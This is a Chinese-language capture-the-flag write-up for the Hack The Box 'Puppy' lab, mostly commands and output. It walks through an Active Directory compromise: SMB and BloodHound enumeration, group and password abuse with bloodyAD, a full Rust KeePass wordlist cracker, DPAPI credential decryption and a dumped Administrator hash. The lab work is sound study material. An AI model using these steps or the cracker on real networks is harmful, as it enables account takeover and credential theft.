条件:levi.james / KingofAkron2025!
扫描靶机
nmap -A -v -T4 10.10.11.70
smbmap -H puppy.htb -u levi.james -p 'KingofAkron2025!'
netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!' --users
Administrator
Guest
krbtgt
levi.james
ant.edwards
adam.silver
jamie.williams
steph.cooper
steph.cooper_adm
bloodhound-python -dc dc.puppy.htb -u levi.james -p 'KingofAkron2025!' -d puppy.htb -c All -ns 10.10.11.70
bloodyAD --host 10.10.11.70 -d puppy.htb -u 'levi.james' -p 'KingofAkron2025!' get object 'DEVELOPERS'
bloodyAD --host 10.10.11.70 -d puppy.htb -u 'levi.james' -p 'KingofAkron2025!' add groupMember 'DEVELOPERS' 'levi.james'
use keepass::{Database, DatabaseKey, db::NodeRef};
use std::fs::File;
use std::io::{self, BufRead, BufReader, Cursor};
use std::path::Path;
use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
use std::sync::Arc;
use std::thread;
use std::time::{Duration, Instant};
use rayon::prelude::*;
fnmain() -> io::Result<()> {
println!("=== IKun - KeePass 密码破解工具 ===");
// 获取 .kdbx 文件路径
println!("请输入 .kdbx 文件路径:");
let kdbx_path = read_input()?.trim().to_string();
if !Path::new(&kdbx_path).exists() {
eprintln!("[!] 错误:文件 '{}' 不存在!", kdbx_path);
std::process::exit(1);
}
// 获取单词表文件路径
println!("请输入单词表文件路径(如 rockyou.txt):");
let wordlist_path = read_input()?.trim().to_string();
let file = match File::open(&wordlist_path) {
Ok(file) => file,
Err(e) => {
eprintln!("[!] 错误:无法打开单词表文件 '{}':{}", wordlist_path, e);
std::process::exit(1);
}
};
// 预加载 kdbx 文件到内存
println!("[+] 正在加载 kdbx 文件到内存...");
let kdbx_data = {
let mut file = File::open(&kdbx_path)?;
let mut buffer = Vec::new();
std::io::Read::read_to_end(&mut file, &mut buffer)?;
Arc::new(buffer)
};
// 统计单词表大小
let reader = BufReader::new(File::open(&wordlist_path)?);
let total_passwords = reader.lines().count();
if total_passwords == 0 {
eprintln!("[!] 错误:单词表为空!");
std::process::exit(1);
}
println!("[+] 单词表包含 {} 个密码", total_passwords);
println!("[+] 使用 {} 个线程(CPU 核心数)进行破解", rayon::current_num_threads());
// 共享状态
let try_count = Arc::new(AtomicUsize::new(0));
let found = Arc::new(AtomicBool::new(false));
let start_time = Instant::now();
// 启动进度显示线程
let try_count_progress = Arc::clone(&try_count);
let found_progress = Arc::clone(&found);
let progress_handle = thread::spawn(move || {
while !found_progress.load(Ordering::SeqCst) {
let count = try_count_progress.load(Ordering::SeqCst);
let elapsed = start_time.elapsed().as_secs_f64();
let speed = if elapsed > 0.0 { count as f64 / elapsed } else { 0.0 };
let remaining = if speed > 0.0 {
((total_passwords - count) as f64 / speed).ceil() as u64
} else {
0
};
println!(
"[*] 进度:已尝试 {}/{} 个密码({:.1}%),速度:{:.1} 密码/秒,预计剩余时间:{} 秒",
count, total_passwords, (count as f64 / total_passwords as f64) * 100.0, speed, remaining
);
thread::sleep(Duration::from_secs(1));
}
});
// 流式读取单词表并分块处理
let file = File::open(&wordlist_path)?;
let reader = BufReader::new(file);
let batch_size = 1000; // 每块 1000 个密码
let mut batch = Vec::new();
for line in reader.lines() {
if found.load(Ordering::SeqCst) {
break;
}
let password = match line {
Ok(line) => line.trim().to_string(),
Err(e) => {
eprintln!("[!] 读取密码失败:{}", e);
continue;
}
};
batch.push(password);
if batch.len() >= batch_size {
process_batch(&batch, &kdbx_data, &try_count, &found);
batch.clear();
}
}
// 处理剩余的密码
if !batch.is_empty() && !found.load(Ordering::SeqCst) {
process_batch(&batch, &kdbx_data, &try_count, &found);
}
// 等待进度线程完成
progress_handle.join().expect("进度线程崩溃");
if !found.load(Ordering::SeqCst) {
println!("n[!] 破解失败:单词表中的密码均无效。");
}
Ok(())
}
// 处理一批密码
fnprocess_batch(batch: &[String], kdbx_data: &Arc<Vec<u8>>, try_count: &Arc<AtomicUsize>, found: &Arc<AtomicBool>) {
batch.par_iter().for_each(|password| {
if found.load(Ordering::SeqCst) {
return;
}
let mut cursor = Cursor::new(kdbx_data.as_ref());
let key = DatabaseKey::new().with_password(password);
match Database::open(&mut cursor, key) {
Ok(db) => {
if !found.swap(true, Ordering::SeqCst) {
println!("n[+] 成功!密码已找到:{}", password);
println!("[+] 正在提取条目:n");
for node in db.root.iter() {
if let NodeRef::Entry(entry) = node {
let title = entry.get_title().unwrap_or("");
let username = entry.get_username().unwrap_or("");
let password = entry.get_password().unwrap_or("");
println!(" - 标题:{} | 用户名:{} | 密码:{}", title, username, password);
}
}
}
}
Err(_) => {
try_count.fetch_add(1, Ordering::SeqCst);
}
}
});
}
// 读取用户输入
fnread_input() -> io::Result<String> {
let mut input = String::new();
io::stdin().read_line(&mut input)?;
Ok(input)
}
- 标题:JAMIE WILLIAMSON | 用户名: | 密码:JamieLove2025!
- 标题:ADAM SILVER | 用户名: | 密码:HJKL2025!
- 标题:ANTONY C. EDWARDS | 用户名: | 密码:Antman2025!
- 标题:STEVE TUCKER | 用户名: | 密码:Steve2025!
- 标题:SAMUEL BLAKE | 用户名: | 密码:ILY2025!
netexec smb 10.10.11.70 -u user.txt -p pass.txt
bloodhound-python -dc dc.puppy.htb -u ant.edwards -p 'Antman2025!' -d puppy.htb -c All -ns 10.10.11.70
bloodyAD --host 10.10.11.70 -d puppy.htb -u ant.edwards -p 'Antman2025!' get object "adam.silver"
bloodyAD --host 10.10.11.70 -d 'puppy.htb' -u 'ant.edwards' -p 'Antman2025!' get writable --detail | grep -A 20 "distinguishedName: CN=.*DC=PUPPY,DC=HTB" | grep -B 20 "WRITE"
bloodyAD --host 10.10.11.70 -d 'puppy.htb' -u 'ant.edwards' -p 'Antman2025!' get writable --detail | grep -E "distinguishedName: CN=.*DC=PUPPY,DC=HTB" -A 10
bloodyAD --host 10.10.11.70 -d puppy.htb -u ant.edwards -p 'Antman2025!' remove uac 'ADAM.SILVER' -f ACCOUNTDISABLE
bloodyAD --host 10.10.11.70 -d puppy.htb -u ant.edwards -p 'Antman2025!' --dc 10.10.11.70 set password "adam.silver" 'Passw@rd'
netexec winrm 10.10.11.70 -u steph.cooper -p 'ChefSteph2025!'
Get-ChildItem "C:Userssteph.cooperAppDataRoamingMicrosoftCredentials" -Force -Recurse | Format-List
Get-ChildItem "C:Userssteph.cooperAppDataRoamingMicrosoftProtect" -Force -Recurse | Format-List
C:Userssteph.cooperAppDataRoamingMicrosoftCredentialsC8D69EBE9A43E9DEBF6B5FBD48B521B9
C:Userssteph.cooperAppDataRoamingMicrosoftProtectS-1-5-21-1487982659-1829050783-2281216199-1107556a2412-1275-4ccf-b721-e6a0b4f90407
impacket-dpapi masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -sid S-1-5-21-1487982659-1829050783-2281216199-1107 -password 'ChefSteph2025!'
impacket-dpapi credential -file "C8D69EBE9A43E9DEBF6B5FBD48B521B9" -key "0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84"
evil-winrm -i 10.10.11.70 -u steph.cooper_adm -p 'FivethChipOnItsWay2025!'
Administrator:500:aad3b435b51404eeaad3b435b51404ee:9c541c389e2904b9b112f599fd6b333d:::
原文始发于微信公众号(Jiyou too beautiful):HTB-puppy
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论